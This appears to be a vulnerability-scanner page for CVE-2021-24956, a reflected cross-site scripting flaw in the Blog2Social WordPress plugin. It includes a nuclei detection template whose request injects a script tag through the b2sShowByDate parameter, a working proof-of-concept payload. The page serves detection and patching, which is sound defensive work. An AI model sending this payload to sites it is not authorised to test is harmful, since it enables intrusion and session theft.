Blog2Social < 6.8.7 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Fixed in version 6.8.7

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="><script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script>\" name=" and "Your Activity" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24956 -u <target>

The full check

id: CVE-2021-24956

info:
  name: Blog2Social < 6.8.7 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 6.8.7
  reference:
    - https://wpscan.com/vulnerability/5882ea89-f463-4f0b-a624-150bbaf967c2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24956
    cwe-id: CWE-79
    epss-score: 0.01478
    epss-percentile: 0.74106
    cpe: cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: adenion
    product: blog2social
    framework: wordpress
  tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan,adenion,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="><script>alert(document.domain)</script>  HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>" name='
          - 'Your Activity'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from